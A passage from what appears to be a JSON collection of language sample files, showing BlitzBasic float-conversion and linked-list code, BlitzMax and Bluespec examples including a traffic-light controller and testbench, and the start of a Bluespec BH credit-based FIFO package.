Or (exponent Shl 23) Or (fraction Shl 13)\n\t\n\tIf Half_CBank_ = 0 Then Half_CBank_ = CreateBank(4)\n\tPokeInt Half_CBank_, 0, fBits\n\tReturn PeekFloat(Half_CBank_, 0)\nEnd Function\n\nFunction FloatToHalf(f#)\n\tLocal signBit, exponent, fraction, fBits\n\t\n\tIf Half_CBank_ = 0 Then Half_CBank_ = CreateBank(4)\n\tPokeFloat Half_CBank_, 0, f\n\tfBits = PeekInt(Half_CBank_, 0)\n\t\n\tsignBit = (fBits And (1 Shl 31)) <> 0\n\texponent = (fBits And $7F800000) Shr 23\n\tfraction = fBits And $007FFFFF\n\t\n\tIf exponent\n\t\texponent = exponent - 127\n\t\tIf Abs(exponent) > $1F\n\t\t\tIf exponent <> ($FF - 127) Then fraction = 0\n\t\t\texponent = $1F * Sgn(exponent)\n\t\tElse\n\t\t\texponent = exponent + 15\n\t\tEndIf\n\t\texponent = exponent And %11111\n\tEndIf\n\tfraction = fraction Shr 13\n\t\n\tReturn (signBit Shl 15) Or (exponent Shl 10) Or fraction\nEnd Function\n\nFunction HalfAdd(l, r)\n\t\nEnd Function\n\nFunction HalfSub(l, r)\n\t\nEnd Function\n\nFunction HalfMul(l, r)\n\t\nEnd Function\n\nFunction HalfDiv(l, r)\n\t\nEnd Function\n\nFunction HalfLT(l, r)\n\t\nEnd Function\n\nFunction HalfGT(l, r)\n\t\nEnd Function\n\n\n; Double-precision (64-bit) arithmetic library)\n;===============================================\n\nGlobal DoubleOut[1], Double_CBank_\n\nFunction DoubleToFloat#(d[1])\n\t\nEnd Function\n\nFunction FloatToDouble(f#)\n\t\nEnd Function\n\nFunction IntToDouble(i)\n\t\nEnd Function\n\nFunction SefToDouble(s, e, f)\n\t\nEnd Function\n\nFunction DoubleAdd(l, r)\n\t\nEnd Function\n\nFunction DoubleSub(l, r)\n\t\nEnd Function\n\nFunction DoubleMul(l, r)\n\t\nEnd Function\n\nFunction DoubleDiv(l, r)\n\t\nEnd Function\n\nFunction DoubleLT(l, r)\n\t\nEnd Function\n\nFunction DoubleGT(l, r)\n\t\nEnd Function\n\n\n;~IDEal Editor Parameters:\n;~F#1A#20#2F\n;~C#Blitz3D"
  },
  {
    "path": "samples/BlitzBasic/LList.bb",
    "content": "\n; Double-linked list container class\n;====================================\n\n; with thanks to MusicianKool, for concept and issue fixes\n\n\nType LList\n\tField head_.ListNode\n\tField tail_.ListNode\nEnd Type\n\nType ListNode\n\tField pv_.ListNode\n\tField nx_.ListNode\n\tField Value\nEnd Type\n\nType Iterator\n\tField Value\n\tField l_.LList\n\tField cn_.ListNode, cni_\nEnd Type\n\n\n;Create a new LList object\nFunction CreateList.LList()\n\tLocal l.LList = New LList\n\t\n\tl\\head_ = New ListNode\n\tl\\tail_ = New ListNode\n\t\n\tl\\head_\\nx_ = l\\tail_\t\t;End caps\n\tl\\head_\\pv_ = l\\head_\t\t;These make it more or less safe to iterate freely\n\tl\\head_\\Value = 0\n\t\n\tl\\tail_\\nx_ = l\\tail_\n\tl\\tail_\\pv_ = l\\head_\n\tl\\tail_\\Value = 0\n\t\n\tReturn l\nEnd Function\n\n;Free a list and all elements (not any values)\nFunction FreeList(l.LList)\n\tClearList l\n\tDelete l\\head_\n\tDelete l\\tail_\n\tDelete l\nEnd Function\n\n;Remove all the elements from a list (does not free values)\nFunction ClearList(l.LList)\n\tLocal n.ListNode = l\\head_\\nx_\n\tWhile n <> l\\tail_\n\t\tLocal nx.ListNode = n\\nx_\n\t\tDelete n\n\t\tn = nx\n\tWend\n\tl\\head_\\nx_ = l\\tail_\n\tl\\tail_\\pv_ = l\\head_\nEnd Function\n\n;Count the number of elements in a list (slow)\nFunction ListLength(l.LList)\n\tLocal i.Iterator = GetIterator(l), elems\n\tWhile EachIn(i)\n\t\telems = elems + 1\n\tWend\n\tReturn elems\nEnd Function\n\n;Return True if a list contains a given value\nFunction ListContains(l.LList, Value)\n\tReturn (ListFindNode(l, Value) <> Null)\nEnd Function\n\n;Create a linked list from the intvalues in a bank (slow)\nFunction ListFromBank.LList(bank)\n\tLocal l.LList = CreateList()\n\tLocal size = BankSize(bank), p\n\t\n\tFor p = 0 To size - 4 Step 4\n\t\tListAddLast l, PeekInt(bank, p)\n\tNext\n\t\n\tReturn l\nEnd Function\n\n;Create a bank containing all the values in a list (slow)\nFunction ListToBank(l.LList)\n\tLocal size = ListLength(l) * 4\n\tLocal bank = CreateBank(size)\n\t\n\tLocal i.Iterator = GetIterator(l), p = 0\n\tWhile EachIn(i)\n\t\tPokeInt bank, p, i\\Value\n\t\tp = p + 4\n\tWend\n\t\n\tReturn bank\nEnd Function\n\n;Swap the contents of two list objects\nFunction SwapLists(l1.LList, l2.LList)\n\tLocal tempH.ListNode = l1\\head_, tempT.ListNode = l1\\tail_\n\tl1\\head_ = l2\\head_\n\tl1\\tail_ = l2\\tail_\n\tl2\\head_ = tempH\n\tl2\\tail_ = tempT\nEnd Function\n\n;Create a new list containing the same values as the first\nFunction CopyList.LList(lo.LList)\n\tLocal ln.LList = CreateList()\n\tLocal i.Iterator = GetIterator(lo) : While EachIn(i)\n\t\tListAddLast ln, i\\Value\n\tWend\n\tReturn ln\nEnd Function\n\n;Reverse the order of elements of a list\nFunction ReverseList(l.LList)\n\tLocal n1.ListNode, n2.ListNode, tmp.ListNode\n\t\n\tn1 = l\\head_\n\tn2 = l\\head_\\nx_\n\t\n\tWhile n1 <> l\\tail_\n\t\tn1\\pv_ = n2\n\t\ttmp = n2\\nx_\n\t\tn2\\nx_ = n1\n\t\tn1 = n2\n\t\tn2 = tmp\n\tWend\n\t\n\ttmp = l\\head_\n\tl\\head_ = l\\tail_\n\tl\\tail_ = tmp\n\t\n\tl\\head_\\pv_ = l\\head_\n\tl\\tail_\\nx_ = l\\tail_\nEnd Function\n\n;Search a list to retrieve the first node with the given value\nFunction ListFindNode.ListNode(l.LList, Value)\n\tLocal n.ListNode = l\\head_\\nx_\n\t\n\tWhile n <> l\\tail_\n\t\tIf n\\Value = Value Then Return n\n\t\tn = n\\nx_\n\tWend\n\t\n\tReturn Null\nEnd Function\n\n;Append a value to the end of a list (fast) and return the node\nFunction ListAddLast.ListNode(l.LList, Value)\n\tLocal n.ListNode = New ListNode\n\t\n\tn\\pv_ = l\\tail_\\pv_\n\tn\\nx_ = l\\tail_\n\tn\\Value = Value\n\t\n\tl\\tail_\\pv_ = n\n\tn\\pv_\\nx_ = n\n\t\n\tReturn n\nEnd Function\n\n;Attach a value to the start of a list (fast) and return the node\nFunction ListAddFirst.ListNode(l.LList, Value)\n\tLocal n.ListNode = New ListNode\n\t\n\tn\\pv_ = l\\head_\n\tn\\nx_ = l\\head_\\nx_\n\tn\\Value = Value\n\t\n\tl\\head_\\nx_ = n\n\tn\\nx_\\pv_ = n\n\t\n\tReturn n\nEnd Function\n\n;Remove the first occurence of the given value from a list\nFunction ListRemove(l.LList, Value)\n\tLocal n.ListNode = ListFindNode(l, Value)\n\tIf n <> Null Then RemoveListNode n\nEnd Function\n\n;Remove a node from a list\nFunction RemoveListNode(n.ListNode)\n\tn\\pv_\\nx_ = n\\nx_\n\tn\\nx_\\pv_ = n\\pv_\n\tDelete n\nEnd Function\n\n;Return the value of the element at the given position from the start of the list,\n;or backwards from the end of the list for a negative index\nFunction ValueAtIndex(l.LList, index)\n\tLocal n.ListNode = ListNodeAtIndex(l, index)\n\tIf n <> Null Then Return n\\Value : Else Return 0\nEnd Function\n\n;Return the ListNode at the given position from the start of the list, or backwards\n;from the end of the list for a negative index, or Null if invalid\nFunction ListNodeAtIndex.ListNode(l.LList, index)\n\tLocal e, n.ListNode\n\t\n\tIf index >= 0\n\t\tn = l\\head_\n\t\tFor e = 0 To index\n\t\t\tn = n\\nx_\n\t\tNext\n\t\tIf n = l\\tail_ Then n = Null\t;Beyond the end of the list - not valid\n\t\t\n\tElse\t;Negative index - count backward\n\t\tn = l\\tail_\n\t\tFor e = 0 To index Step -1\n\t\t\tn = n\\pv_\n\t\tNext\n\t\tIf n = l\\head_ Then n = Null\t;Before the start of the list - not valid\n\t\t\n\tEndIf\n\t\n\tReturn n\nEnd Function\n\n;Replace a value at the given position (added by MusicianKool)\nFunction ReplaceValueAtIndex(l.LList,index,value)\n\tLocal n.ListNode = ListNodeAtIndex(l,index)\n\tIf n <> Null Then n\\Value = value:Else Return 0\nEnd Function\n\n;Remove and return a value at the given position (added by MusicianKool)\nFunction RemoveNodeAtIndex(l.LList,index)\n\tLocal n.ListNode = ListNodeAtIndex(l,index),tval\n\tIf n <> Null Then tval = n\\Value:RemoveListNode(n):Return tval:Else Return 0\nEnd Function\n\n;Retrieve the first value from a list\nFunction ListFirst(l.LList)\n\tIf l\\head_\\nx_ <> l\\tail_ Then Return l\\head_\\nx_\\Value\nEnd Function\n\n;Retrieve the last value from a list\nFunction ListLast(l.LList)\n\tIf l\\tail_\\pv_ <> l\\head_ Then Return l\\tail_\\pv_\\Value\nEnd Function\n\n;Remove the first element from a list, and return its value\nFunction ListRemoveFirst(l.LList)\n\tLocal val\n\tIf l\\head_\\nx_ <> l\\tail_\n\t\tval = l\\head_\\nx_\\Value\n\t\tRemoveListNode l\\head_\\nx_\n\tEndIf\n\tReturn val\nEnd Function\n\n;Remove the last element from a list, and return its value\nFunction ListRemoveLast(l.LList)\n\tLocal val\n\tIf l\\tail_\\pv_ <> l\\head_\n\t\tval = l\\tail_\\pv_\\Value\n\t\tRemoveListNode l\\tail_\\pv_\n\tEndIf\n\tReturn val\nEnd Function\n\n;Insert a value into a list before the specified node, and return the new node\nFunction InsertBeforeNode.ListNode(Value, n.ListNode)\n\tLocal bef.ListNode = New ListNode\n\t\n\tbef\\pv_ = n\\pv_\n\tbef\\nx_ = n\n\tbef\\Value = Value\n\t\n\tn\\pv_ = bef\n\tbef\\pv_\\nx_ = bef\n\t\n\tReturn bef\nEnd Function\n\n;Insert a value into a list after the specified node, and return then new node\nFunction InsertAfterNode.ListNode(Value, n.ListNode)\n\tLocal aft.ListNode = New ListNode\n\t\n\taft\\nx_ = n\\nx_\n\taft\\pv_ = n\n\taft\\Value = Value\n\t\n\tn\\nx_ = aft\n\taft\\nx_\\pv_ = aft\n\t\n\tReturn aft\nEnd Function\n\n;Get an iterator object to use with a loop\n;This function means that most programs won't have to think about deleting iterators manually\n;(in general only a small, constant number will be created)\nFunction GetIterator.Iterator(l.LList)\n\tLocal i.Iterator\n\t\n\tIf l = Null Then RuntimeError \"Cannot create Iterator for Null\"\n\t\n\tFor i = Each Iterator\t\t;See if there's an available iterator at the moment\n\t\tIf i\\l_ = Null Then Exit\n\tNext\n\t\n\tIf i = Null Then i = New Iterator\t;If there wasn't, create one\n\t\n\ti\\l_ = l\n\ti\\cn_ = l\\head_\n\ti\\cni_ = -1\n\ti\\Value = 0\t\t;No especial reason why this has to be anything, but meh\n\t\n\tReturn i\nEnd Function\n\n;Use as the argument to While to iterate over the members of a list\nFunction EachIn(i.Iterator)\n\t\n\ti\\cn_ = i\\cn_\\nx_\n\t\n\tIf i\\cn_ <> i\\l_\\tail_\t\t;Still items in the list\n\t\ti\\Value = i\\cn_\\Value\n\t\ti\\cni_ = i\\cni_ + 1\n\t\tReturn True\n\t\t\n\tElse\n\t\ti\\l_ = Null\t\t;Disconnect from the list, having reached the end\n\t\ti\\cn_ = Null\n\t\ti\\cni_ = -1\n\t\tReturn False\n\t\t\n\tEndIf\nEnd Function\n\n;Remove from the containing list the element currently pointed to by an iterator\nFunction IteratorRemove(i.Iterator)\n\tIf (i\\cn_ <> i\\l_\\head_) And (i\\cn_ <> i\\l_\\tail_)\n\t\tLocal temp.ListNode = i\\cn_\n\t\t\n\t\ti\\cn_ = i\\cn_\\pv_\n\t\ti\\cni_ = i\\cni_ - 1\n\t\ti\\Value = 0\n\t\t\n\t\tRemoveListNode temp\n\t\t\n\t\tReturn True\n\tElse\n\t\tReturn False\n\tEndIf\nEnd Function\n\n;Call this before breaking out of an EachIn loop, to disconnect the iterator from the list\nFunction IteratorBreak(i.Iterator)\n\ti\\l_ = Null\n\ti\\cn_ = Null\n\ti\\cni_ = -1\n\ti\\Value = 0\nEnd Function\n\n\n;~IDEal Editor Parameters:\n;~F#5#A#10#18#2A#32#3E#47#4C#58#66#6F#78#8F#9B#A9#B7#BD#C5#CC\n;~F#E3#E9#EF#F4#F9#103#10D#11B#12B#13F#152#163\n;~C#Blitz3D"
  },
  {
    "path": "samples/BlitzBasic/PObj.bb",
    "content": "\nLocal i, start, result\n\nLocal s.Sum3Obj = New Sum3Obj\n\nFor i = 1 To 100000\n\ts = New Sum3Obj\n\tresult = Handle Before s\n\tDelete s\nNext\n\nstart = MilliSecs()\nFor i = 1 To 1000000\n\tresult = Sum3_(MakeSum3Obj(i, i, i))\nNext\nstart = MilliSecs() - start\nPrint start\n\nstart = MilliSecs()\nFor i = 1 To 1000000\n\tresult = Sum3(i, i, i)\nNext\nstart = MilliSecs() - start\nPrint start\n\nWaitKey\nEnd\n\n\nFunction Sum3(a, b, c)\n\tReturn a + b + c\nEnd Function\n\n\nType Sum3Obj\n\tField isActive\n\tField a, b, c\nEnd Type\n\nFunction MakeSum3Obj(a, b, c)\n\tLocal s.Sum3Obj = Last Sum3Obj\n\tIf s\\isActive Then s = New Sum3Obj\n\ts\\isActive = True\n\ts\\a = a\n\ts\\b = b\n\ts\\c = c\n\t\n\tRestore label\n\tRead foo\n\t\n\tReturn Handle(s)\nEnd Function\n\n.label\nData (10 + 2), 12, 14\n:\nFunction Sum3_(a_)\n\tLocal a.Sum3Obj = Object.Sum3Obj a_\n\tLocal return_ =  a\\a + a\\b + a\\c\n\tInsert a Before First Sum3Obj :: a\\isActive = False\n\tReturn return_\nEnd Function\n\n\n;~IDEal Editor Parameters:\n;~C#Blitz3D"
  },
  {
    "path": "samples/BlitzMax/sample.bmx",
    "content": "SuperStrict\n\nFramework Brl.StandardIO\n\nType TMyType\n\tField property:int\n\n\tFunction A:int(param:int)\n\t\t'do nothing\n\tEnd Function\n\n\tMethod B:int(param:int)\n\t\t'do nothing\n\tEnd Method\nEnd Type\n\n\nGlobal my:TMyType = new TMyType\n?Win32\n\tmy.A()\n\tmy.B()\n?Linux\n\tmy.B()\n\tmy.A()\n?"
  },
  {
    "path": "samples/Bluespec/TL.bsv",
    "content": "package TL;\n\ninterface TL;\n   method Action ped_button_push();\n\n         (* always_enabled *)\n         method Action set_car_state_N(Bool x);\n         (* always_enabled *)\n         method Action set_car_state_S(Bool x);\n         (* always_enabled *)\n         method Action set_car_state_E(Bool x);\n         (* always_enabled *)\n         method Action set_car_state_W(Bool x);\n\n   method Bool lampRedNS();\n   method Bool lampAmberNS();\n   method Bool lampGreenNS();\n\n   method Bool lampRedE();\n   method Bool lampAmberE();\n   method Bool lampGreenE();\n\n   method Bool lampRedW();\n   method Bool lampAmberW();\n   method Bool lampGreenW();\n\n   method Bool lampRedPed();\n   method Bool lampAmberPed();\n   method Bool lampGreenPed();\nendinterface: TL\n\ntypedef enum {\n         AllRed,\n         GreenNS, AmberNS,\n         GreenE, AmberE,\n         GreenW, AmberW,\n         GreenPed, AmberPed} TLstates deriving (Eq, Bits);\n\ntypedef UInt#(5) Time32;\ntypedef UInt#(20) CtrSize;\n\n(* synthesize *)\nmodule sysTL(TL);\n   Time32 allRedDelay = 2;\n   Time32 amberDelay = 4;\n   Time32 nsGreenDelay = 20;\n   Time32 ewGreenDelay = 10;\n   Time32 pedGreenDelay = 10;\n   Time32 pedAmberDelay = 6;\n\n   CtrSize clocks_per_sec = 100;\n\n   Reg#(TLstates) state <- mkReg(AllRed);\n   Reg#(TLstates) next_green <- mkReg(GreenNS);\n   Reg#(Time32) secs <- mkReg(0);\n   Reg#(Bool) ped_button_pushed <- mkReg(False);\n         Reg#(Bool) car_present_N <- mkReg(True);\n   Reg#(Bool) car_present_S <- mkReg(True);\n   Reg#(Bool) car_present_E <- mkReg(True);\n   Reg#(Bool) car_present_W <- mkReg(True);\n         Bool car_present_NS = car_present_N || car_present_S;\n   Reg#(CtrSize) cycle_ctr <- mkReg(0);\n\n   rule dec_cycle_ctr (cycle_ctr != 0);\n      cycle_ctr <= cycle_ctr - 1;\n   endrule\n\n   Rules low_priority_rule = (rules\n                        rule inc_sec (cycle_ctr == 0);\n                                 secs <= secs + 1;\n                                 cycle_ctr <= clocks_per_sec;\n                        endrule endrules);\n\n   function Action next_state(TLstates ns);\n         action\n                                 state <= ns;\n                                 secs <= 0;\n      endaction\n   endfunction: next_state\n\n   function TLstates green_seq(TLstates x);\n      case (x)\n                                 GreenNS: return (GreenE);\n                                 GreenE:  return (GreenW);\n                                 GreenW:  return (GreenNS);\n      endcase\n   endfunction\n\n   function Bool car_present(TLstates x);\n      case (x)\n                                 GreenNS: return (car_present_NS);\n                                 GreenE:  return (car_present_E);\n                                 GreenW:  return (car_present_W);\n      endcase\n   endfunction\n\n   function Rules make_from_green_rule(TLstates green_state, Time32 delay, Bool car_is_present, TLstates ns);\n                        return (rules\n                                 rule from_green (state == green_state && (secs >= delay || !car_is_present));\n                                                next_state(ns);\n                                 endrule endrules);\n   endfunction: make_from_green_rule\n\n   function Rules make_from_amber_rule(TLstates amber_state, TLstates ng);\n      return (rules\n                                 rule from_amber (state == amber_state && secs >= amberDelay);\n                                                next_state(AllRed);\n                                                next_green <= ng;\n                                 endrule endrules);\n   endfunction: make_from_amber_rule\n\n   Rules hprs[7];\n\n   hprs[1] = make_from_green_rule(GreenNS, nsGreenDelay, car_present_NS, AmberNS);\n   hprs[2] = make_from_amber_rule(AmberNS, GreenE);\n   hprs[3] = make_from_green_rule(GreenE, ewGreenDelay, car_present_E, AmberE);\n   hprs[4] = make_from_amber_rule(AmberE, GreenW);\n   hprs[5] = make_from_green_rule(GreenW, ewGreenDelay, car_present_W, AmberW);\n   hprs[6] = make_from_amber_rule(AmberW, GreenNS);\n\n         hprs[0] = (rules\n                        rule fromAllRed (state == AllRed && secs >= allRedDelay);\n                                 if (ped_button_pushed) action\n                                                ped_button_pushed <= False;\n                                                next_state(GreenPed);\n                                 endaction else if (car_present(next_green))\n                              next_state(next_green);\n                           else if (car_present(green_seq(next_green)))\n                                    next_state(green_seq(next_green));\n         else if (car_present(green_seq(green_seq(next_green))))\n                                    next_state(green_seq(green_seq(next_green)));\n         else\n                                    noAction;\n                        endrule: fromAllRed endrules);\n\n         Rules high_priority_rules = hprs[0];\n   for (Integer i = 1; i<7; i=i+1)\n      high_priority_rules = rJoin(hprs[i], high_priority_rules);\n\n         addRules(preempts(high_priority_rules, low_priority_rule));\n\n   method Action ped_button_push();\n      ped_button_pushed <= True;\n   endmethod: ped_button_push\n\n   method Action set_car_state_N(b) ; car_present_N <= b; endmethod\n   method Action set_car_state_S(b) ; car_present_S <= b; endmethod\n   method Action set_car_state_E(b) ; car_present_E <= b; endmethod\n   method Action set_car_state_W(b) ; car_present_W <= b; endmethod\n\n   method lampRedNS() = (!(state == GreenNS || state == AmberNS));\n   method lampAmberNS() = (state == AmberNS);\n   method lampGreenNS() = (state == GreenNS);\n   method lampRedE() = (!(state == GreenE || state == AmberE));\n   method lampAmberE() = (state == AmberE);\n   method lampGreenE() = (state == GreenE);\n   method lampRedW() = (!(state == GreenW || state == AmberW));\n   method lampAmberW() = (state == AmberW);\n   method lampGreenW() = (state == GreenW);\n\n   method lampRedPed() = (!(state == GreenPed || state == AmberPed));\n   method lampAmberPed() = (state == AmberPed);\n   method lampGreenPed() = (state == GreenPed);\n\nendmodule: sysTL\n\nendpackage: TL\n"
  },
  {
    "path": "samples/Bluespec/TbTL.bsv",
    "content": "package TbTL;\n\nimport TL::*;\n\ninterface Lamp;\n   method Bool changed;\n   method Action show_offs;\n   method Action show_ons;\n   method Action reset;\nendinterface\n\nmodule mkLamp#(String name, Bool lamp)(Lamp);\n   Reg#(Bool) prev <- mkReg(False);\n\n   method changed = (prev != lamp);\n\n   method Action show_offs;\n      if (prev && !lamp)\n      $write (name + \" off, \");\n   endmethod\n\n   method Action show_ons;\n      if (!prev && lamp)\n      $write (name + \" on, \");\n   endmethod\n\n   method Action reset;\n      prev <= lamp;\n   endmethod\nendmodule\n\n\n(* synthesize *)\nmodule mkTest();\n   let dut <- sysTL;\n\n   Reg#(Bit#(16)) ctr <- mkReg(0);\n\n   Reg#(Bool) carN <- mkReg(False);\n   Reg#(Bool) carS <- mkReg(False);\n   Reg#(Bool) carE <- mkReg(False);\n   Reg#(Bool) carW <- mkReg(False);\n\n   Lamp lamps[12];\n\n   lamps[0] <- mkLamp(\"0:  NS  red  \", dut.lampRedNS);\n   lamps[1] <- mkLamp(\"1:  NS  amber\", dut.lampAmberNS);\n   lamps[2] <- mkLamp(\"2:  NS  green\", dut.lampGreenNS);\n   lamps[3] <- mkLamp(\"3:  E   red  \", dut.lampRedE);\n   lamps[4] <- mkLamp(\"4:  E   amber\", dut.lampAmberE);\n   lamps[5] <- mkLamp(\"5:  E   green\", dut.lampGreenE);\n   lamps[6] <- mkLamp(\"6:  W   red  \", dut.lampRedW);\n   lamps[7] <- mkLamp(\"7:  W   amber\", dut.lampAmberW);\n   lamps[8] <- mkLamp(\"8:  W   green\", dut.lampGreenW);\n\n   lamps[9]  <- mkLamp(\"9:  Ped red  \", dut.lampRedPed);\n   lamps[10] <- mkLamp(\"10: Ped amber\", dut.lampAmberPed);\n   lamps[11] <- mkLamp(\"11: Ped green\", dut.lampGreenPed);\n\n   rule start (ctr == 0);\n      $dumpvars;\n   endrule\n\n   rule detect_cars;\n      dut.set_car_state_N(carN);\n      dut.set_car_state_S(carS);\n      dut.set_car_state_E(carE);\n      dut.set_car_state_W(carW);\n   endrule\n\n   rule go;\n      ctr <= ctr + 1;\n      if (ctr == 5000) carN <= True;\n      if (ctr == 6500) carN <= False;\n      if (ctr == 12_000) dut.ped_button_push;\n   endrule\n\n   rule stop (ctr > 32768);\n      $display(\"TESTS FINISHED\");\n      $finish(0);\n   endrule\n\n   function do_offs(l) = l.show_offs;\n      function do_ons(l) = l.show_ons;\n      function do_reset(l) = l.reset;\n\n      function do_it(f);\n         action\n         for (Integer i=0; i<12; i=i+1)\n            f(lamps[i]);\n         endaction\n      endfunction\n\n      function any_changes();\n         Bool b = False;\n         for (Integer i=0; i<12; i=i+1)\n             b = b || lamps[i].changed;\n         return b;\n      endfunction\n\n      rule show (any_changes());\n      do_it(do_offs);\n      do_it(do_ons);\n      do_it(do_reset);\n      $display(\"(at time %d)\", $time);\n   endrule\nendmodule\n\nendpackage\n"
  },
  {
    "path": "samples/Bluespec BH/CGetPut.bs",
    "content": "-- Copyright (c) 2020 Bluespec, Inc. All rights reserved.\n--\n-- Redistribution and use in source and binary forms, with or without\n-- modification, are permitted provided that the following conditions are\n-- met:\n--\n-- 1. Redistributions of source code must retain the above copyright\n--    notice, this list of conditions and the following disclaimer.\n--\n-- 2. Redistributions in binary form must reproduce the above copyright\n--    notice, this list of conditions and the following disclaimer in the\n--    documentation and/or other materials provided with the\n--    distribution.\n--\n-- 3. Neither the name of the copyright holder nor the names of its\n--    contributors may be used to endorse or promote products derived\n--    from this software without specific prior written permission.\n--\n-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n-- \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\npackage CGetPut(CGet, CPut, CGetS, CPutS,\n         CGetPut, GetCPut, mkCGetPut, mkGetCPut, mkCGetCPut, CClientServer, ClientCServer,\n         CClient, CServer, CClientS(..), CServerS(..), mkCClientServer, mkClientCServer) where\nimport FIFOF\nimport ConfigReg\nimport Connectable\nimport GetPut\nimport ClientServer\nimport Vector\nimport RegTwo\n\n--@ \\subsubsection{CGetPut}\n--@ \\index{CGetPut@\\te{CGetPut} (package)|textbf}\n--@\n--@ The interfaces \\te{CGet} and \\te{CPut} are similar to\n--@ \\te{Get} and \\te{Put}, but the interconnection of them\n--@ (via \\te{Connectable}) is implemented with a credit based\n--@ FIFO.  This means that the \\te{CGet} and \\te{CPut} interfaces\n--@ have completely registered input and outputs, and furthermore\n--@ that additional register buffers can be introduced in the connection path\n--@ without any ill effect (except an increase in latency, of course).\n\ninterface (CGetS :: # -> * -> # -> *) n a sa =\n    gvalue   :: Bit sa\n    gpresent :: Bool\n    gcredit  :: Bool -> Action\n\ninterface (CPutS :: # -> * -> # -> *) n a sa =\n    pvalue   :: Bit sa -> Action\n    ppresent :: Bool -> Action\n    pcredit  :: Bool\n\n--@ The interface types are abstract (to avoid any non-proper use of\n--@ the credit signaling protocol).\n--@\n--@ In the absence of additional register buffers, the round-trip time for communication\n--@ between the two interfaces is 4 clock cycles.  Call this number $r$.  The first argument\n--@ to the type, $n$, specifies that transfers will occur for a fraction $n/r$ of clock\n--@ cycles (note that the used cycles will not necessarily be evenly spaced).  $n$ also\n--@ specifies the depth of the buffer used in the receiving interface (the transmitter side\n--@ always has only a single buffer).  So (in the absence of additional buffers) use $n=4$\n--@ to allow full-bandwidth transmission, at the cost of sufficient registers for quadruple\n--@ buffering at one end; use $n=1$ for minimal use of registers, at the cost of reducing\n--@ the bandwidth to one quarter; use intermediate values to select the optimal trade-off if\n--@ appropriate.\n--@\n--@ \\note{For compiler reasons the actual interfaces are called \\te{CGetS} and \\te{CPutS}\n--@ with \\te{CGet} and \\te{CPut} being type abbreviations.  Hopefully this will\n--@ be fixed soon.}\n--@ \\begin{libverbatim}\n--@ typedef CGetS#(n, a, SizeOf#(a)) CGet #(type n, type a);\n--@ \\end{libverbatim}\ntype CGet n a = CGetS n a (SizeOf a)\n\n--@ \\lineup\n--@ \\begin{libverbatim}\n--@ typedef CPutS#(n, a, SizeOf#(a)) CPut #(type n, type a);\n--@ \\end{libverbatim}\ntype CPut n a = CPutS n a (SizeOf a)\n\ntype CGetPut n a = (CGet n a, Put a)\ntype GetCPut n a = (Get a, CPut n a)\n\n--@ Create one end of the credit based FIFO.  Access to it is via a \\te{Put} interface.\n--@ \\index{mkCGetPut@\\te{mkCGetPut} (function)|textbf}\n--@ \\begin{libverbatim}\n--@ module mkCGetPut(Tuple2 #(CGetS#(n, a, sa), Put#(a)))\n--@   provisos (Bits#(a, sa), Add#(1, k, n), Add#(n, 1, n1), Log#(n1, ln));\n--@ \\end{libverbatim}\nmkCGetPut :: (IsModule m c, Bits a sa, Add 1 k n, Add n 1 n1, Log n1 ln) => m (CGetS n a sa, Put a)\nmkCGetPut =\n  module\n    putbuf :: FIFOF (Bit sa) <- mkUGLFIFOF\n    credits :: FIFOF () <- mkUGLSizedFIFOF (valueOf n - 1)\n    free :: Reg Bool <- mkConfigReg False\n    let hasData = putbuf.notEmpty\n    rules\n          {-# ASSERT no implicit conditions #-}\n          {-# ASSERT fire when enabled #-}\n          \"deq\":\n            when hasData\n             ==> putbuf.deq\n          {-# ASSERT no implicit conditions #-}\n          {-# ASSERT fire when enabled #-}\n          \"free\":\n            when free\n             ==> credits.deq\n    interface -- Pair\n       (interface CGetS\n            gvalue = putbuf.first\n            gpresent = hasData\n            gcredit b = free := b\n        ,\n        interface Put\n            put x = action\n                        putbuf.enq (pack x)\n                        credits.enq ()\n                when (credits.notFull || free)\n       )\n--@ Create the other end of the credit based FIFO.  Access to it is via a \\te{Get} interface.\n--@ \\index{mkGetCPut@\\te{mkGetCPut} (function)|textbf}\n--@ \\begin{libverbatim}\n--@ module mkGetCPut(Tuple2 #(Get#(a), CPutS#(n, a, sa)))\n--@   provisos (Bits#(a, sa), Add#(1, k, n), Log#(n, ln));\n--@ \\end{libverbatim}\nmkGetCPut :: (IsModule m c, Bits a sa, Add 1 k n, Log n ln) => m (Get a, CPutS n a sa)\nmkGetCPut =\n  if valueOf n > 1 then\n    module\n      buff :: Vector n (Reg (Bit sa)) <- genWithM $ const mkConfigRegU\n      gotPresent :: Reg Bool <- mkConfigReg False\n      present :: Vector n (Reg Bool) <- genWithM $ const $ mkConfigReg False\n      ptr :: Reg (Bit ln) <- mkConfigReg 0\n      crd :: FIFOF () <- mkUGLFIFOF\n      let\n        presentEffective :: Vector n Bool\n        presentEffective = zipWith (\\idx p -> if idx == 0 then gotPresent || p else p) genList (map readReg present)\n\n--        allAheadTrue :: Vector n Bool -> Vector n Bool\n--        allAheadTrue bs = let (_, result) = mapAccumR (\\aat b -> (aat && b, aat && b)) True bs\n\n\n\n        bubble :: (Action, Vector n Bool)\n        bubble = let f :: (Integer, Bool, Action) -> (Reg Bool, Bool, Reg (Bit sa)) -> ((Integer, Bool, Action), Bool)\n                     f (idx, filled, upds) (p, pe, b) =\n                       (\n                        (idx-1\n                        ,\n                         filled && pe\n                        ,\n                         action {upds; if not (filled && pe) then (if idx /= 0 then action {p := presentEffective !! (idx-1); b := (buff !! (idx-1))._read} else action {p := False}) else action {}}\n                        )\n                       ,\n                        if not (filled && pe) then 